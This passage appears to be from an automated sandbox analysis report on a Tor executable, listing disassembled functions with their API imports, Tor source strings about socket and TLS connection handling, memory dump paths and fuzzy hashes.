Opcode Fuzzy Hash: bcdd1161cc1049a395a0dde2ffe0b4f93ea80893a02f7ab0cc1881ffaa5a503b
Instruction Fuzzy Hash: 52D0C970A001168BDB50EFA8D4919AEB7F1BF58218F0149588950A3200E370A9008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 013B14B0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_onexit.MSVCRT ref: 013B14BA

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: e0c6a8346b9a2437d5fc5f25a18c80bbe1433e6c3b582208e68ff924ac4b8c48
Instruction ID: 15e3994b59ded050c62665fdc3301783be05d7985bc5ac727478d0c9249d6ce2
Opcode Fuzzy Hash: e0c6a8346b9a2437d5fc5f25a18c80bbe1433e6c3b582208e68ff924ac4b8c48
Instruction Fuzzy Hash: 6EC09B705053A547D7007E39894102977D47944141F8805ACFCC5D7245F72CD1145A66

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01585C99 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,0158231B), ref: 01585CAA

Part of subcall function 01564579: abort.MSVCRT ref: 015645DF
Part of subcall function 01564579: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0155CD70), ref: 015645FE

CRYPTO_set_locking_callback.LIBEAY32 ref: 01585D03
CRYPTO_THREADID_set_callback.LIBEAY32 ref: 01585D0F
__stack_chk_fail.LIBSSP-0 ref: 01585D24

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$D_set_callbackO_num_locksO_set_locking_callbackabort
String ID:
API String ID: 939447574-0
Opcode ID: 717fbdbedfa25df252bfe2f55863516e2c8b0e41dfcd04c2ad2f89eb93cbec6b
Instruction ID: 17b9874d4144c5a502e146186c5b02af6d92dcbcb4b472f4a2170462ce9cf340
Opcode Fuzzy Hash: 717fbdbedfa25df252bfe2f55863516e2c8b0e41dfcd04c2ad2f89eb93cbec6b
Instruction Fuzzy Hash: 4E010CB492520ACFCB60FFA8D88566EBBF5FB54314F104929E455AF300E734A944CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 013EAE6E Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 493COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013EAEC4
abort.MSVCRT ref: 013EAF0F
abort.MSVCRT ref: 013EAF5A

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

N0<|, xrefs: 013EB13C

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_failstrrchr
String ID: N0<|
API String ID: 2537142698-1420054890
Opcode ID: efbf669ab3639c623209bbc774f3e3472e33bb055792fa50b4e3e4c5aa89b724
Instruction ID: d2316d34fe2e1dcc481285eba52c4e7276d1b4e90d2ad31c028feff7cefd73f2
Opcode Fuzzy Hash: efbf669ab3639c623209bbc774f3e3472e33bb055792fa50b4e3e4c5aa89b724
Instruction Fuzzy Hash: DD123BB05043639FDB01AF69C9486BEFBE4BF40248F45885AE8D4DF292D638C985DF21

Uniqueness

Uniqueness Score: -1.00%

Function 0157EBAE Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0157EF22

Part of subcall function 0157EB10: SSLv23_method.SSLEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,0157EBE6), ref: 0157EB26
Part of subcall function 0157EB10: __stack_chk_fail.LIBSSP-0 ref: 0157EBA7

sk_num.LIBEAY32 ref: 0157ED22

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

real, xrefs: 0157EE8A
fictitious, xrefs: 0157EE83
peer, xrefs: 0157EE78

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$Lv23_methodsk_num
String ID: fictitious$peer$real
API String ID: 2745311942-2164527629
Opcode ID: 5e2f762e73fdf645c2087737b1c5665f8efe671973ed8420dd31e26d4e6c48ed
Instruction ID: 9591477359f667d87950da5c257eeb6a8d1643585f8182cc6e8cd3cb460435eb
Opcode Fuzzy Hash: 5e2f762e73fdf645c2087737b1c5665f8efe671973ed8420dd31e26d4e6c48ed
Instruction Fuzzy Hash: D7B1C1B4905319DFDB50EFA8D88A6AEBBF5FF48304F10889DE894AB240D7749944CF52

Uniqueness

Uniqueness Score: -1.00%

Function 01657820 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 136windowCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0165783F
GetModuleFileNameW.KERNEL32 ref: 01657885
_snwprintf.MSVCRT ref: 016578BC
MessageBoxW.USER32 ref: 016578E9

Strings

<unknown>, xrefs: 01657852, 01657910, 01657930, 01657983

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: FileMessageModuleName_snwprintfmalloc
String ID: <unknown>
API String ID: 2604804178-1574992787
Opcode ID: a454bd89b3e2ed9d70bf2aff8c0708e45a7842d2ec92357d486266ef5446dcda
Instruction ID: f38fef72cfbd52132e3c0708ecdc3f68232cc9877d4698a52a01890a02f53db1
Opcode Fuzzy Hash: a454bd89b3e2ed9d70bf2aff8c0708e45a7842d2ec92357d486266ef5446dcda
Instruction Fuzzy Hash: 625169B19083118BD760AF68D88422FBFF9EF95310F42892DEDC887301D7799944CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 013B1B13 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 176COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B1B6C
abort.MSVCRT ref: 013B1C1D
abort.MSVCRT ref: 013B1C61
event_new.LIBEVENT-2-1-6 ref: 013B1CCC

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

event_new.LIBEVENT-2-1-6 ref: 013B1D04
__stack_chk_fail.LIBSSP-0 ref: 013B1D90

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

conn->conn_array_index == -1, xrefs: 013B1C41
new conn type %s, socket %d, address %s, n_conns %d., xrefs: 013B1D5C
conn, xrefs: 013B1B4C
SOCKET_OK(conn->s) || conn->linked || (conn->type == CONN_TYPE_AP && TO_EDGE_CONN(conn)->is_dns_request), xrefs: 013B1BFD
connection_add_impl, xrefs: 013B1B54, 013B1C05, 013B1C49
connection_add_impl, xrefs: 013B1D64
src/or/main.c, xrefs: 013B1B40, 013B1BF1, 013B1C35

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abort$event_newstrrchr
String ID: SOCKET_OK(conn->s) || conn->linked || (conn->type == CONN_TYPE_AP && TO_EDGE_CONN(conn)->is_dns_request)$conn$conn->conn_array_index == -1$connection_add_impl$connection_add_impl$new conn type %s, socket %d, address %s, n_conns %d.$src/or/main.c
API String ID: 2467532678-1372713996
Opcode ID: f31fd6000821e73ede67b2b2d819c0a61c237bb59c0690a2e14832e71900ed02
Instruction ID: 7116d8734ef9ecc3a58d1ee767a7813c7c230324091c8c5473fb7055bd5880f4
Opcode Fuzzy Hash: f31fd6000821e73ede67b2b2d819c0a61c237bb59c0690a2e14832e71900ed02
Instruction Fuzzy Hash: 617124B4A043069FCB00DF69D8846AEBBE4BF48354F45C85AE8A4DB351E738D844DF61

Uniqueness

Uniqueness Score: -1.00%

Function 01580082 Relevance: 18.2, APIs: 12, Instructions: 188COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 015800D2
abort.MSVCRT ref: 01580115
abort.MSVCRT ref: 0158015C
SSL_state.SSLEAY32 ref: 0158017E
SSL_state_string_long.SSLEAY32 ref: 015801AF
SSL_accept.SSLEAY32 ref: 015801EC
SSL_state_string_long.SSLEAY32 ref: 01580211

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Part of subcall function 0158037F: SSL_set_info_callback.SSLEAY32(?,?,?,?,?,?,?,?,?,01580368), ref: 015803D3
Part of subcall function 0158037F: SSL_set_verify.SSLEAY32(?,?,?,?,?,?,?,?,?,01580368), ref: 015803F1
Part of subcall function 0158037F: SSL_ctrl.SSLEAY32(?,?,?,?,?,?,?,?,?,?,?,01580368), ref: 01580417
Part of subcall function 0158037F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,01580368), ref: 0158053C

SSL_connect.SSLEAY32 ref: 0158024E
SSL_state.SSLEAY32 ref: 0158025F
SSL_state_string_long.SSLEAY32 ref: 0158028A

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

ERR_peek_error.LIBEAY32 ref: 015802FE
__stack_chk_fail.LIBSSP-0 ref: 01580378

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$L_state_string_longabort$L_statestrrchr$L_acceptL_connectL_ctrlL_set_info_callbackL_set_verifyR_peek_error
String ID:
API String ID: 3890482737-0
Opcode ID: 36f9e6a46dae975ee4529dc9c8841ba072b6076d50efd6a2fa5ff9e1b051c01d
Instruction ID: 17eaa11adb9ade0776518559547f0f3fafd5e0def7d533b657e59dcaa73cd140
Opcode Fuzzy Hash: 36f9e6a46dae975ee4529dc9c8841ba072b6076d50efd6a2fa5ff9e1b051c01d
Instruction Fuzzy Hash: CF81B2B4909306DFCB40EFA9D98866EBBF0BF44214F01881EE8949B251D778D949CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01554C80 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01554CCD
abort.MSVCRT ref: 01554D28
abort.MSVCRT ref: 01554D83
abort.MSVCRT ref: 01554DD5
abort.MSVCRT ref: 01554E1A
abort.MSVCRT ref: 01554E8B

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 01554ED0
__stack_chk_fail.LIBSSP-0 ref: 01554F5D

Strings

Net`7it0Qet, xrefs: 01554F42
et, xrefs: 01554F4C

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr
String ID: et$Net`7it0Qet
API String ID: 1113427550-901507666
Opcode ID: c9d20f2beb99b78fa28f2e4eb1bc211fce928fe846b0ade77258b6fdfe9b0293
Instruction ID: 4688b9c750d2ef9ee8639547d57e1a890f901032f35f0d742a6ee76ab519fee7
Opcode Fuzzy Hash: c9d20f2beb99b78fa28f2e4eb1bc211fce928fe846b0ade77258b6fdfe9b0293
Instruction Fuzzy Hash: D6711CB0906346DFCB50EFA5D98829EBBF4BF84304F00951DE8949B300E7789585EF62

Uniqueness

Uniqueness Score: -1.00%

Function 013B1EB1 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013B1F02

Part of subcall function 0155DB97: abort.MSVCRT ref: 0155DBEE
Part of subcall function 0155DB97: abort.MSVCRT ref: 0155DC2E
Part of subcall function 0155DB97: abort.MSVCRT ref: 0155DC72
Part of subcall function 0155DB97: __stack_chk_fail.LIBSSP-0 ref: 0155DCC9

abort.MSVCRT ref: 013B1FF4
__stack_chk_fail.LIBSSP-0 ref: 013B2079

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

removing socket %d (type %s), n_conns now %d, xrefs: 013B1F4A
Closing SOCKS Unix socket connection, xrefs: 013B1F87
conn->conn_array_index >= 0, xrefs: 013B1FD4
conn, xrefs: 013B1EE2
connection_remove, xrefs: 013B1EEA, 013B1FDC
connection_remove, xrefs: 013B1F52, 013B1F8F
src/or/main.c, xrefs: 013B1ED6, 013B1FC8

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr
String ID: Closing SOCKS Unix socket connection$conn$conn->conn_array_index >= 0$connection_remove$connection_remove$removing socket %d (type %s), n_conns now %d$src/or/main.c
API String ID: 1113427550-1310073587
Opcode ID: 71ac126c7872e1a8bab68049e7088925c745b813829d0d1d0a5c5939dd8229be
Instruction ID: 0fddccdcd60b730da6fe16c33b33cf742cbbf8332bd292c6648cc6694109f9d2
Opcode Fuzzy Hash: 71ac126c7872e1a8bab68049e7088925c745b813829d0d1d0a5c5939dd8229be
Instruction Fuzzy Hash: 645126B4A04706CFCB50EFA9C484A6EBBF5BF94254F41881AE898DB311D738D945CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0157FAD5 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0157FB31

Part of subcall function 0157CA0D: SSL_get_error.SSLEAY32 ref: 0157CA52

abort.MSVCRT ref: 0157FB74
abort.MSVCRT ref: 0157FBBB
abort.MSVCRT ref: 0157FBFD
SSL_read.SSLEAY32 ref: 0157FC19
__stack_chk_fail.LIBSSP-0 ref: 0157FDDE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0157FD87

Strings

peer, xrefs: 0157FC51

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: abort$__stack_chk_fail$strrchr$L_get_errorL_read
String ID: peer
API String ID: 2342702307-2733046201
Opcode ID: 81af6f01d5bc74d4432472b6b3db4a574aeffe4458278233a33e8ed4859b35d7
Instruction ID: d90d9adfe15b2cb3b0abdffa1597e8375a019bc6e346ca07b7fd1fdfdd050bb4
Opcode Fuzzy Hash: 81af6f01d5bc74d4432472b6b3db4a574aeffe4458278233a33e8ed4859b35d7
Instruction Fuzzy Hash: 939115B4909306DFCB00DF69D94866EBBF0BF84314F00895EE8A89B250D778D945DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 013B2D7D Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84COMMON

Download Yara Rule

APIs

